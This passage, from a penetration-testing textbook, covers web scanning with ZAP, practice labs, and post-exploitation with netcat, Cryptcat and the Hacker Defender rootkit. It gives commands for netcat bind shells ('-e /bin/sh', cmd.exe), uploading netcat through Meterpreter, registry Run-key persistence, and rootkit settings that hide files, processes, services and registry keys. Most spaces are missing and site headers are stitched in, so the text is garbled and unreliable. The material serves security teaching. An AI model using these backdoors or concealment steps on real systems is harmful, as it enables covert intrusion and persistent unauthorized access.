ScanninginZAPOncethespiderhascompleteditswork,thenextstepistohavethevulnerabilityscannerinZAPfurtherprobe the selectedwebsite forknownvulnerabilities.Awebscanner isverysimilar toNessus that isloadedwithsignaturesofknownvulnerabilities,sothescannerresultsareonlyasgoodasthesignaturesthatitincludes.By selecting “ActiveScan site” in the “Attack”menu,ZAPwill send hundreds of requests to the

selected website. As the website sends back responses, ZAP will analyze them for signs ofvulnerabilities.Thisisanimportantaspectofwebscanningtounderstand:thescannerisnottryingtoexploitthewebsite,butrathersendhundredsofproof-of-conceptmaliciousrequeststothewebsiteandthenanalyzetheseresponsesforsignsofvulnerability.Onceanexactpageisidentifiedtobeplaguedbyanexactvulnerability(SQLinjectiononaloginpage,forexample),youcanthenusetheinterceptingproxytocraftamaliciousrequesttothatexactpagewiththeexactmaliciousvariablevaluesinordertocompletethehack!ZAP also has passive scanning functionality, which does not send hundreds of proof-of-concept

requests,butinsteadsimplyanalyzeseveryresponsethatyourbrowserreceivesduringnormalbrowsingfor thesamevulnerabilitiesasactivescanning.Thismeansyoucanbrowselikeyounormallydoandreview the website for vulnerabilities without raising any suspicion from rapid requests like activescanning.All thescanningresultswillbehoused in the“Alerts” tab foreasy review.Thefull reportofZAP

Scanner’sfindingscanbeexportedasHTMLorExtensibleMarkupLanguageviathe“Reports”menu.

HowDoIPracticeThisStep?Asmentionedatthebeginningofthischapter,itisimportantthatyoulearntomasterthebasicsofweb

Page 156: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

exploitation. However, finding vulnerable websites on which you are authorized to conduct theseattacks can be difficult. Fortunately, the fine folks at the OWASP organization have developed avulnerableplatformforlearningandpracticingweb-basedattacks.Thisproject,calledWebGoat,isanintentionallymisconfiguredandvulnerablewebserver.WebGoatwasbuiltusingJ2EE,whichmeansitiscapableofrunningonanysystemthathastheJava

Runtime Environment installed. WebGoat includes more than 30 individual lessons that provide arealistic,scenario-drivenlearningenvironment.Currentlessonsincludealltheattackswedescribedinthis chapter and many more. Most lessons require you to perform a certain attack like using SQLinjectiontobypassauthentication.Eachlessoncomescompletewithhintsthatwillhelpyousolvethepuzzle.Aswith other scenario-driven exercises, it is important towork hard and attempt to find theansweronyourownbeforeusingthehelpfiles.Ifyouaremakinguseofvirtualmachinesinyourhackinglab,youwillneedtodownloadandinstall

WebGoat inside a virtual machine. As discussed previously, WebGoat will run in either Linux orWindows,justbesuretoinstallJava(JRE)onyoursystempriortostartingWebGoat.WebGoat canbedownloaded from theofficialOWASPwebsite athttp://www.owasp.org/.The file

you download will require 7zip or a program capable of unzipping a 7z file. Unzip the file andrememberthelocationoftheuncompressedWebGoatfolder.IfyouarerunningWebGoatonWindows,youcannavigatetotheunzippedWebGoatfolderandlocatethe“webgoat_8080.bat”file.Executethisbatch file bydouble clicking it.A terminalwindowwill appear; youwill need to leave thiswindowopen and running in order for WebGoat to function properly. At this point, assuming that you areaccessingWebGoat from the samemachine you are running theWebGoat server on, you can beginusingWebGoatbyopeningabrowserandenteringtheURLhttp://127.0.0.1:8080/webgoat/attack.If everything went properly, you will be presented with a login prompt. Both the username and

passwordaresetto:guest.As a final note, please pay attention to thewarnings posted in the “readme” file. Specifically you

shouldunderstandthatrunningWebGoatoutsideofalabenvironmentisextremelydangerous,asyoursystem will be vulnerable to attacks. Always use caution and only run WebGoat in a properlysandboxedenvironment.You can also download and install Damn Vulnerable Web App (DVWA) from

http://www.dvwa.co.uk/. DVWA is another intentionally insecure application that utilizes PHP andMySQLtoprovideyouwithatestingenvironment.

WhereDoIGofromHere?Ashasbeenpointedoutseveraltimes,thereislittledoubtthatthisattackvectorwillcontinuetogrow.Onceyouhavemasteredthebasicswediscussedinthissection,youshouldexpandyourknowledgebydigginginandlearningsomeofthemoreadvancedtopicsofwebapplicationhackingincludingclient-sideattacks,sessionmanagement,sourcecodeauditing,andmanymore.Ifyouareunsureofwhatelsetostudyandwanttokeepuponthelatestweb-attackhappenings,keepaneyeontheOWASP“topten”.TheOWASPTopTenProject is anofficial list of the topweb threats asdefinedby leading securityresearchersandtopexperts.If you are interested in learningmore aboutwebhacking, checkout theSyngressBook titledThe

BasicsofWebHacking:ToolsandTechniquestoAttacktheWebbyDrJoshPauli.Itisanexcellentreadandwillpickupnicelywherethischapterleftoff.

Page 157: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

AdditionalResourcesWhen itcomes towebsecurity, it ishard tobeatOWASP.Aspreviouslymentioned,agoodplace tostart is the OWASP Top Ten Project. You can find the list at http://www.owasp.org website or bysearchingGooglefor“OWASPtopten”.Youshouldkeepacloseeyeonthislist,asitwillcontinuetobeupdatedandchangedasthetrends,risks,andthreatsevolve.Itshouldbepointedout that theWebSecurifytoolwediscussedearlier inthechapteriscapableof

automaticallytestingforallthreatcategorieslistedintheOWASPTopTenProjects!SincewearetalkingaboutOWASPandtheyhavegraciouslyprovidedyouafantastictooltolearn

about and testwebapplication security, there aremanybenefits of joining theOWASPorganization.Onceyouareamember,thereareseveraldifferentwaystogetinvolvedwiththevariousprojectsandcontinuetoexpandyourknowledgeofwebsecurity.Alongwith the greatWebScarab project, you should explore otherweb proxies aswell. Both the

BurpProxyandParosProxyareexcellent(andfree)toolsforinterceptingrequests,modifyingdata,andspideringwebsites.Finally, thereareseveralgreat tools thateverygoodwebpenetrationtestershouldbecomefamiliar

with.OneofmycolleaguesandclosefriendsisaveryskilledwebapppenetrationtesterandheswearsupanddownthatBurpSuiteisthebestapplicationtestingtoolavailabletoday.Afterreviewingmanywebauditingtools,itisclearthatBurpisindeedagreattool.AfreeversionoftheBurpSuiteisbuiltintoKaliandcanbefoundbyclickingontheApplications→KaliLinux→WebApplications→WebApplicationProxies→BurpSuite.IfyouarenotusingKali,thefreeversionofBurpcanbedownloadedfromthecompany’swebsiteat

http://portswigger.net/burp/download.html.

SummaryBecausethewebisbecomingmoreandmore“executable”andbecausenearlyeverytargethasawebpresence, this chapter examinedweb-based exploitation. The chapter beganwith an overview of thebasicsofwebattacksandbyreviewingtechniquesandtoolsforinterrogatingwebservers.TheuseofNiktoandw3afwascoveredfor locatingspecificvulnerabilities inawebserver.Exploringthe targetwebsitebydiscoveringdirectoriesandfileswasdemonstratedthroughtheuseofaspider.Amethodforintercepting website requests by using WebScarab was also covered. Code injection attacks, whichconstituteaseriousthreattowebsecurity,wereexplored.Specifically,weexaminedthebasicsofSQLinjectionattacks.ThechapterthenmovedintoabriefdiscussionandexampleofXSS.Finally,ZAPwascoveredasasingletoolforconductingwebscanningandattacking.

Page 158: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

CHAPTER7

PostExploitationandMaintainingAccesswithBackdoors,Rootkits,andMeterpreter

InformationinThisChapter:Netcat:TheSwissArmyKnifeCryptcat:Netcat’sCrypticCousinRootkitsHackerDefender:ItisNotWhatYouThinkDetectingandDefendingAgainstRootkitsMeterpreter:TheHammerthatTurnsEverythingintoaNail

IntroductionMaintaining access to a remote system is a serious activity that needs to be discussed and clearlyexplained to theclient.Manycompaniesare interested inhavingapenetration testperformedbutareleeryofallowingthepenetrationtestingcompanytomakeuseofbackdoors.Mostpeopleareafraidthatthesebackdoorswillbediscoveredandexploitedbyanunauthorizedthirdparty.Imaginethatyouarethe chief executive officer of a company, howwellwouldyou sleepknowing that youmayhave anopen, backdoor channel into your network? Remember, the client sets both the scope and theauthorizationofthepenetrationtest.Youwillneedtotakethetimetofullycoveranddiscussthisstepbeforeproceeding.Still, on occasion you may be asked to conduct a penetration test that does require the use of a

backdoor.Whether thereason is toprovideaproofofconceptorsimply tocreatearealisticscenariowhere theattackercanreturn to the target, it is important tocover thebasics in thisstep.Remember,persistent reusable backdoors on systems are a malicious attacker’s best friend. Several years ago,attackerswerecontentwithquick“smashandgrab”jobs.Inotherwords,theywouldexploitaserver,

Page 159: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

stealthedata,andleave.Thereisacrediblepileofevidencetodaythatsuggestsmanymodernattackersaremore interested in long term and even permanent access to the target systems and networks. Sounderstanding this phase is important if you are going to simulate the actions of a determined andskilledblackhat.Inthesimplestsense,abackdoorisapieceofsoftwarethatresidesonthetargetcomputerandallows

the attacker to return (connect) to themachine at any time. Inmost cases, the backdoor is a hiddenprocessthatrunsonthetargetmachineandallowsanormallyunauthorizedusertocontrolthepersonalcomputer(PC).Itisimportanttounderstandthatmanyexploitsarefleeting.Theyworkandprovideaccessonlyas

longastheprogramthatwasexploitedremainsrunning.Oftentimes,whenthetargetmachinerebootsortheexploitedprocessisstopped,theoriginalshell(remoteaccess)willbelost.Asaresultofthis,oneofthefirsttaskstocompleteupongainingaccesstoasystemistomigrateyourshelltoamorepermanenthome.Thisisoftendonethroughtheuseofbackdoors.Later in the chapter, wewill discuss rootkits. Rootkits are a special kind of software that embed

themselvesdeepintotheoperatingsystemandperformanumberoftasks,includinggivingahackertheabilitytocompletehideprocessesandprograms.Attheendofthechapter,wewillwrapthingsupbyreviewingoneofthemostpopularandpowerful

exploitationpayloadsavailableinMetasploit,theMeterpretershell.UtilizingandunderstandinghowtoleverageMeterpreterisapowerfultoolforpostexploitation.

Netcat:TheSwissArmyKnifeNetcat isan incrediblysimpleandunbelievably flexible tool thatallowscommunicationandnetworktraffictoflowfromonemachinetoanother.AlthoughNetcat’sflexibilitymakesitanexcellentchoicefor a backdoor, there are dozens of additional uses for this tool.Netcat can be used to transfer filesbetween machines, conduct port scans, serve as a lightweight communication tool allowing instantmessenger/chatfunctionality,andevenworkasasimplewebserver!Wewillcoverthebasicshere,butyou should spend time practicing and playing with Netcat. Youwill be amazed at what this tool iscapableof.Itisnicknamedthe“swissarmyknife”forareason.NetcatwasoriginallywrittenandreleasedbyHobbitin1996andsupportssendingandreceivingboth

transmissioncontrolprotocol(TCP)anduserdatagramprotocol(UDP)traffic.Netcatcanfunctionineither a client or server mode.When it is in client mode, the tool can be used to make a networkconnection toanotherservice(includinganother instanceofNetcat). It is important to remember thatNetcatcanconnectfromanyportonyourlocalmachinetoanyportonthetargetmachine.WhileNetcatisrunninginservermode,itactsasalistenerwhereitwaitstoacceptanincomingconnection.

ALERT!Ifyouarefollowingalongandwanttopracticethissection,youwillneedNetcatinstalledin at least twovirtualmachines (VMs).One instance shouldbe installed in the attackermachine and one in the target/victim. Netcat is preinstalled in both Backtrack andMetasploitable.IfyouhavenotyetcompromisedtheMetasploitableVM,youmayneedtoinstallNetcat on yourWindows target before proceeding. Later in this chapter,wewilldiscussexecutingcommandsremotely,butfornow(whilewepractice),youwillbetypingthecommandsateachlocalterminal.

Page 160: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

Letus startwith averybasic exampleofhowwecanuseNetcat. In this example,wewill setupNetcattoserveasacommunicationchannelbetweentwomachines.Tosetthisuponthetarget/victimmachine,wesimplyneedtochooseaportandinstructNetcattoruninlistenermode.AssumingyourtargetisaLinuxmachine,issuingthefollowingcommandinaterminalwillaccomplishthistask:

nc–l–p1337

Inthecommandabove,“nc”isusedtoinvoketheNetcatprogram.The“–l”isusedtoputNetcatintoalistenermode.The“–p”isusedtospecifytheportnumberwewantNetcattolistenon.Afterissuingthecommand,Netcatisrunningandwaitingtoacceptanincomingconnectiononport1337.NowthatwehaveNetcatlisteningonthetargetmachine,wecanmovetotheattackermachine.To

makeaconnectiontothelisteningmachine,weissuethefollowingcommand:nc192.168.18.1321337

RunningthiscommandfromthesecondPCwillforceNetcattoattemptaconnectiontoport1337onthemachinewithanInternetprotocol(IP)addressof192.168.18.132.BecausewehavesetupthefirstPCtoactasalisteneronthatport,thetwoPCsshouldnowbeabletocommunicate.Wecantestthisbytyping text intoeither terminalwindow.Anything thatwe type into the terminal fromeithermachinewillbedisplayedintheterminalwindowofbothmachines.ThisisbecausethekeyboardisactingasthestandardinputandNetcatissimplytransportingthedataentered(keystrokes)overtheconnection.To end the “chat” and close the session, we can issue the Ctrl + C key combination; this will

terminatetheNetcatconnection.Figure7.1showsanexampleofthistypeofcommunicationbetweentwocomputers.

FIGURE7.1 Usingnetcattocommunicatebetweentwocomputers.

ItisimportanttounderstandthatonceyoukillorclosetheNetcatconnection,youwillneedtorestartthelisteneronthetargetmachinebeforemakinganotherconnection.Constantlyneedingtoconnecttothe targetmachine to restart Netcat is not very efficient. Fortunately, if you are using theWindowsversionoftheprogram,Netcatprovidesawaytoavoidthisissue.IntheWindowsversionofNetcat,ifwe start Netcat in listener mode using a “–L” (switch) rather than a “–l”, the target will keep theconnectionopenonthespecifiedportevenaftertheclientdisconnects.Inmanyways,thismakestheprogrampersistent.Ofcoursetomakeit trulypersistent,youwouldneedtoaddthecommandtoruneverytimethemachinestarts.OnaWindowsmachine,thiscouldbeaccomplishedbyaddingtheNetcatprogramtotheHKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run registryhive.Unfortunately,intermsofmakingapersistentnetworkconnection,theLinuxversionofNetcatisnot

quite so straightforward. Inorder tomake theNetcat connectionpersistent on aLinuxmachine, youwouldhave towriteasimplebashscript that forcesNetcat to restartwhen theoriginalconnection isclosed.Ifyouareinterestedincreatingapersistentconnection,therearemanyexamplestobefoundontheInternet.

Page 161: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

Although the previous example is an interesting use of Netcat and great for demonstrating theflexibility and power of the tool, in reality, youwill probably never use the “chat” feature during apenetrationtest.Ontheotherhand,onceyouhavegotNetcatuploadedtoyourtargetsystem,therearemany practical uses for the tool. Let us take a look at something a bit more advantageous, liketransferringfiles.Moving files between computers is easy when we have got the Meterpreter shell running but

remember,wedonotwanttohavetoexploitthetargeteverytime.Rather,thegoalistoexploitonceandthenleaveabackdoorsowecanreturnatalaterdate.IfweuploadNetcattothetarget,wecanusetheprogramtotransferfilestoandfromourtargetacrossanetwork.For this example, assume you want to upload a new file from your attack machine to the target

machine.WithNetcatrunningonthetargetmachine,weissuethefollowingcommand:nc–l–p7777>virus.exe

Thiscommandwillforcethetargettolistenforanincomingconnectiononport7777.Anyinputthatisreceivedwillbestoredintoafilenamed“virus.exe”.Fromourlocalmachine,weneedtouseNetcattomakeaconnectiontothetargetandspecifythefile

wewanttosendtothetarget.Thisfilecanbeofanytypeandhaveanyextension(.exe,.doc,.pdf,.bat,.com,.iso,etc.);inthisexample,weareuploadingafilecalled“virus.exe”.Ifyouarefollowingalong,your systemwillnothavea “virus.exe” file.However, any file fromyourattackmachinewillwork,simplyreplacethe“virus.exe”withthefileordocumentyouwanttotransfertothevictim.Webegintheuploadprocessbyissuingthefollowingcommand:

nc172.16.45.1297777<virus.exe

Unfortunately,bydefaultNetcatdoesnotprovideyouanytypeoffeedbacklettingyouknowwhenthetransferhasbeencompleted.Becauseyouwillreceivenoindicationwhentheuploadisdone,itisbesttojustwaitforafewsecondsandthenissueaCtrl+Ctokill theconnection.Atthispoint,youshould be able to run the “ls” command on your target machine and see the newly created file.Figure7.2showsanexampleofthisprocess.

FIGURE7.2 Usingnetcattotransferfiles.

Naturally,youcouldsetupaNetcatconnectiontopullfilesfromthetargetmachinebyreversingthecommandsabove.Oftentimesduringapenetrationtest,youwilldiscoveropenportsthatprovidelittleornoadditional

information.Youmay run across situationswherebothNmapandNessus areunable todiscover theservicebehindtheport.Inthesecases,itcanbebeneficialtouseNetcattomakeablindconnectiontotheport.Onceyouhavemadetheconnection,youbeginsendinginformationtotheportbytypingonthe keyboard. In some instances, the keyboard input will elicit a response from the service. Thisresponsemaybehelpfulinallowingyoutoidentifytheservice.Considerthefollowingexample.AssumeyouareconductingapenetrationtestonatargetserverwithanIPaddressof192.168.18.132.

During the scanning process, you discover that port 50001 is open.Unfortunately, neither your portscanner nor your vulnerability scannerswere able to determinewhat servicewas runningbehind the

Page 162: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

report.Inthiscase,itcanbehandytouseNetcattointeractwiththeunknownservice.ToforceNetcattoattemptaconnectiontotheservice,wesimplyenterthefollowingcommand:

nc192.168.18.13250001

ThiscommandwillattempttocreateaTCPconnectiontotheportandservice.Itisimportanttonotethat ifyouneed to interactwithaUDP-basedservice,youcan forceNetcat to sendUDPpacketsbyissuingthe“–u”switch.Oncetheconnectionismade,inmostcases,itiseasiesttosimplyentersometextandhitreturnkeytosendthetexttotheservice.Iftheservicerespondstotheunexpectedrequest,youmaybeabletoderiveitsfunction.Figure7.3showsanexampleofthis.

FIGURE7.3 Usingnetcattointerrogateunknownservices.

Asyoucansee,weusedNetcattocreateaconnectiontoport50001.Onceconnected,thetext“test”was sent through the connection.The service returnedwith a response that clearly indicates that themysteriousserviceisawebserver.Andevenmoreimportant,theserverhasfullyidentifieditselfasanApacheserver runningversion2.2.8onaLinuxUbuntumachine! Ifyouare followingalong inwithMetasploitable,youcanrerunthisexercisebyconnectingtoport80onyourtarget.Finally,wecanuseNetcattobinditselftoaprocessandmakethatprocessavailableoveraremote

connection.Thisallowsustoexecuteandinteractwiththeboundprogramasifweweresittingatthetargetmachine itself. Ifwe startNetcat using the “–e” switch, itwill executewhatever programwespecifydirectlyafterthe“–e”.Theprogramwillexecuteonthetargetmachineandwillonlyrunonceaconnectionhasbeenestablished.The“–e”switchisincrediblypowerfulandveryusefulforsettingupabackdoorshellonatarget.Tosetupabackdoor,wewillneedtoutilizethe“–e”switchtobindacommandshellfromthetarget

machinetoaportnumber.BysettingupNetcatinthismanner,laterwhenweinitiateaconnectiontothespecifiedport, theprogramlistedafterthe“–e”switchwillrun.IfweareusingaLinuxmachine,wecanaccomplishthisbytypingthefollowingintoaterminalwindow:

nc–l–p12345–e/bin/sh

This will cause the target to serve up a shell to whoever connects to port 12345. Again, anycommandssentfromtheNetcatclient(attackmachine)tothetargetmachinewillbeexecutedlocallyasiftheattackerweresittingphysicallysittingatthetarget.ThistechniquecanalsobeusedonaWindowsmachine.Toprovidecommandlinebackdooraccess

intoaWindowsmachine,wewouldrunthefollowingonthetarget(inaterminalwindow):nc.exe–L–p12345c:\Windows\System32\cmd.exe

ALERT!

Page 163: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

Notice, because this is aWindowsmachine,we are using the “–L” switch tomake ourconnectionpersistent.Ifweclosetheconnectionfromourmachine,Netcatwillcontinuelisteningonthespecifiedport.Thenexttimeweconnecttothemachine,thecmdshellwillbewaitingandwillexecuteforus.

To put the preceding example into context and hopefully make it more concrete for you, let usexaminethefollowingscenariotoshowhowwecouldimplementNetcatasabackdoor.Considerthefollowing example: assume that we have successfully exploited a Windows target. Being forward-thinkingpenetrationtesters,wedecidetocreateamorestablebackdoortothissystemsothatwecanreturnlater.Inthiscase,wehavedecidedtouseNetcatasourbackdoorsoftware.The first order of businesswould be to uploadNetcat to the targetmachine; in this example, the

Netcatexecutablehasbeenuploadedtothetarget’sSystem32directory.LetusassumethatweutilizedtheknowledgegainedfromChapter4andwearecurrentlyusingtheMeterpretershelltointeractwithourtarget.OncewehaveaMeterpretershellonourtarget,wecanuploadtheNetcatfiletothevictimbyissuingthefollowingcommand:

meterpreter>uploadnc.exec:\\windows\\system32

Note:Youwill need toupload theWindows (.exe)versionofNetcatbecause the target is runningWindows.In this case,we have uploaded the nc.exe program to theWindows\System32 directory. Thiswill

allow us to access the cmd.exe program directly. Once Netcat has been transferred to the targetmachine,weneedtochooseaportnumber,bindthecmd.exeprogram,andstartNetcatinservermode.ThiswillforceNetcattowaitforanincomingconnectiononthespecifiedport.Toperformthesetasks,weissuethefollowingcommandinaterminal(again,assumingyouarealreadyinthesamedirectoryasNetcat).

meterpreter>nc–L–p5777–ecmd.exe

Atthispoint,Netcatshouldberunningonourtargetmachine.Rememberifyouwereinterestedinmaking thisbackdoor trulypersistent,with theability to survivea reboot,youwouldneed to set theNetcatcommandtoautomaticallystartintheWindowsregistry.OnceNetcatissetup,itispossibletocloseourMeterpretershellandmakeaconnectiontothetarget

usingNetcat.There shouldbe little doubt in yourmind thatNetcat is a trulypowerful and flexible tool. In this

section,wehavebarelyscratchedthesurface.Ifyoutakesometimetodigdeeperintotheprogram,youwill find that people have been able to perform some rather amazing things using Netcat. You areencouraged to look into someof these clever implementationsby searching theweb, the resultswillamazeyou.

Netcat’sCrypticCousin:CryptcatAlthoughNetcatprovidessomeamazingqualities,theprogramdoeshaveafewshortcomings.Firstoff,itisimportanttounderstandthatalltrafficpassedbetweenaNetcatclientandserverisdonesoincleartext.Thismeansthatanyoneviewingtrafficorsniffingtheconnectionwillbeabletoviewandmonitoralltheinformationsentbetweenthemachines.Cryptcatwasintroducedtoaddressthisissue.Cryptcatutilizestwofishencryptiontokeepthetrafficbetweentheclientandtheserverconfidential.

Page 164: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

The beauty ofCryptcat is that you do not need to learn any new commands. If you have alreadymastered Netcat, then you have already mastered Cryptcat; but with Cryptcat, you have the addedbenefitoftransportingyourdatausinganencryptedtunnel.Anyoneviewingoranalyzingyournetworktrafficwillnotbeabletoseeyourinformationasitpassesbetweentheclientandlistener.OneimportantnoteaboutCryptcat,youshouldalwayschangethedefaultkey.Ifyoufailtochange

thedefaultkey,anyonewillhavetheabilitytodecryptyoursession.Thedefaultkeyismetallicaandcanbechangedusingthe“–k”switch.To set up an encrypted tunnel between twomachines usingCryptcat, you can issue the following

commands:(1)Starttheserver:cryptcat–l–p5757

(2)Starttheclient:cryptcat192.168.18.1325757

Younowhaveanencryptedtunnelsetupbetweenthetwomachines.

RootkitsJust like Metasploit, when people are first exposed to the power and cunning of rootkits, they areusuallyamazed.Totheuninitiated,rootkitsappeartohaveanalmostblack-magic-likequality.Theyareusuallysimpletoinstallandcanproduceamazingresults.Runningarootkitgivesyoutheabilitytohidefiles,processes,andprogramsasiftheywereneverinstalledonthecomputer.Rootkitscanbeusedtohidefilesfromusersandeventheoperatingsystemitself.Becauserootkitsaresoeffectiveathidingfiles,theywilloftenbesuccessfulatevadingeventhemost

finelytunedantivirussoftware.Thenamerootkitistypicallysaidtobeaderivativeofthewords“root”,asinroot-leveloradministrativeaccess,andthe“kit”orcollectionoftoolsthatwereprovidedbythesoftwarepackage.

ALERT!Aswitheverythingelseandevenmoresointhiscase,youmustbe100%surethatyourclientauthorizestheuseofrootkitsbeforeyoudeploytheminapenetrationtest.Utilizingarootkitwithoutauthorizationwillbeasurewaytoquicklyendyourcareerandputyoubehindbars.Evenifyouhavebeenfullyauthorizedtoconductapenetrationtest,doubleandtriplecheckthatyouarespecificallyauthorizedtoutilizearootkit.

Aswealreadymentioned,rootkitsareextremelystealthy.Theycanbeusedforavarietyofpurposesincluding escalating privileges, recording keystrokes, installing backdoors, and other nefarious tasks.Manyrootkitsareabletoavoiddetectionbecausetheyoperateatamuchlowerleveloftheoperatingsystemitself,insidethekernel.Thesoftwarethatuserstypicallyinteractwithfunctionsatahigherlevelofthesystem.Whenapieceofsoftwarelikeantivirusneedstoperformaparticulartask,itwilloftenpasstherequestofftothelowerlevelsoftheoperatingsystemtocompletethetask.Recallthatsomerootkitslivedeepinsidetheoperatingsystem.Theycanalsoworkby“hooking”orinterceptingthesevariouscallsbetweenthesoftwareandoperatingsystem.

Page 165: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

Byhookingtherequestfromapieceofsoftware,therootkitisabletomodifythenormalresponse.Considerthefollowingexample:assumethatyouwanttoseewhatprocessesarerunningonaWindowsmachine.Toaccomplishthis,mostuserswilldepressthekeycombination“Ctrl+Alt+Del”.Thiswillallowtheusertostartthetaskmanagerandviewrunningprocessesandservices.Mostpeopleperformthistaskwithoutthinkingaboutit.Theyexaminetheprocesslistpresentedandmoveon.While the following is a gross oversimplification, it should serve as an example to help you

understandthebasics.Inthiscase,softwareismakingacall totheoperatingsystemandaskingwhatprocessesorservicesarerunning.Theoperatingsystemqueriesalltherunningprogramsitisawareofand returns the list. However, if we add a rootkit to the mix, things get a little more complicated.Because rootkits have the ability to intercept and modify the responses returned by the operatingsystem,whenauserattemptstoviewtheprocesslist,therootkitcansimplyremoveselectedprograms,services, and processes from the list. This happens instantaneously and the user is not aware of anydifferences.Theprogramitselfisactuallyfunctioningperfectly.Itisreportingexactlywhatitwastoldbytheoperatingsystem.Inmanysensesoftheword,therootkitiscausingtheoperatingsystemtolie.Itisimportanttopointoutthatarootkitisnotanexploit.Rootkitsaresomethingthatisuploadedtoa

systemafter the system has been exploited. Rootkits are usually used to hide files or programs andmaintainstealthybackdooraccess.

HackerDefender:ItisNotWhatYouThinkFirstthingsfirst;donotletthenamefoolyou,HackerDefenderisarootkit.Itisnotawaytodefendhackers!HackerDefender is a full-fledgedWindows rootkit that is relatively easy tounderstand andconfigure.HackerDefender isaWindowsrootkit,meaningyouwillneed todeploy itonaWindowsmachine.Youwill alsoneed to search the Internet foracopyofHackerDefender, justbe sure tobemorecautiousandwarywhenintentionallydownloadingandinstallingmalware!TherearethreemainfilesincludedwithHackerDefenderthatyoumustbeawareof:hxdef100.exe,

hxdef100.ini,andbdcli100.exe.Althoughthe.zipfilewillincludeseveralotherfiles,wewillfocusourattentionon these three.Hxdef100.exe is the executable file that runsHackerDefenderon the targetmachine.Hxdef100.iniistheconfigurationfilewherewesetuptheoptionswewanttouseandlisttheprograms, files, or services thatwewant to hide. Bdcli100.exe is the client software that is used toconnectdirectlytoHackerDefender’sbackdoor.Onceyouhaveuploadedthehsdef100.zipfiletoyourtarget,youwillneedtounzipit.Tokeepthings

assimpleaspossible,itisbesttocreateasinglefolderontherootofthetargetdrive.Forthepurposeofthisexample,wewillcreateafolderontheC:\drivecalled“rk”(forrootkit).Allthefilesincludingthehxdef100.zipanditsuncompressedcontentsareplacedintothissinglefolder.Thiswillmakeiteasiertokeep trackof the files, provide a central location toupload additional tools to, andmakehiding thiscentralrepositorymucheasier.Onceyouhaveunzippedthehxdef100file,youcanbeginconfiguringHackerDefenderbymodifyingthehxdef100.inifile.Onceyouopenthe .inifile,youwillseeanumberofdifferentsections.Eachmajorsectionbegins

withanameenclosedinasquarebracket.Figure7.4showsanexampleofthedefaultconfigurationfile.

Page 166: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

FIGURE7.4 Screenshotofthehxdef100.iniconfigurationfile.

As you can see in Figure 7.4, there are several headings including [Hidden Table], [HiddenProcesses],[RootProcesses],[HiddenServices],andothers.YouwillalsonoticethatHackerDefenderconfiguration file includes a couple of default entries. These entries are used to hide the HackerDefenderfilesandbuilt inbackdoorsoyoudonothave tomodify theseormakeadditionalchanges.Noticetoothatthe.inifilesupportstheuseofwildcardswiththe“∗”character.Inthiscase,anyfilethatstartswiththelettershxdefwillautomaticallybeincludedinthelist.Startatthetopandworkyourwaythrougheachoftheheadings.Thefirstsectionistitled[Hidden

Table].Anyfiles,directories,orfolderslistedunderthisheadingwillbehiddenfromtheexplorerandfilemanagerusedbyWindows.Ifyoucreatedafolderontherootofthedriveassuggestedearlier,besuretolistithere.Buildingoffofthispreviousexample,wewilllist“rk”inthe[HiddenTable]section.In the [Hidden Processes] section, you list each of the processes or programs you want to be

concealedfromtheuser.Eachoftheprocesseslistedherewillbehiddenfromthelocaluserwhentheyviewcurrentlyrunningprocesseswiththetaskmanager.Asanonmaliciousexample,assumeyouwantto hide the calculator program. In this case, you will need to list the calculator program under the[Hidden Processes] section. By adding calc.exe to the [Hidden Processes] section, the user will nolongerbeabletofindorinteractwiththecalculatorprogram.Onceourrootkitisstarted,asfarastheuserisconcerned,thereisnocalculatorprogramavailableonthecomputer.The [Root Processes] section is used to allow programs to interact with and view the previously

hidden folders and processes. Remember that in the previous sections, we were removing thecomputer’sabilitytodetect,see,andinteractwithvariousfilesandprograms.Inthissection,welistanyprograms that we want to have full control. Any programs listed here will be allowed to view andinteract with programs on the system, including those listed in the [Hidden Table] and [HiddenProcesses]tab.Ifyouhaveanyprogramsthatwillinstallasaserviceorrunserviceslikefiletransferprotocol,web

servers,backdoors,etc.,youwillneed to list themin the[HiddenServices]section.Likeeachof theother sections, the [Hidden Services] section will hide each of the listed services. Again, wheninteractingwiththetaskmanager,anyprogramlistedherewillbeconcealedfromthe“services”list.Youcanusethe[HiddenRegKeys]tohidespecificregistrykeys.Almostallprogramscreateregistry

keys when they are installed or run on a computer. The [Hidden RegKeys] section can be used tocamouflage each of these keys.Youwill need tomake sure that you list them all in order to avoiddetection.

Page 167: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

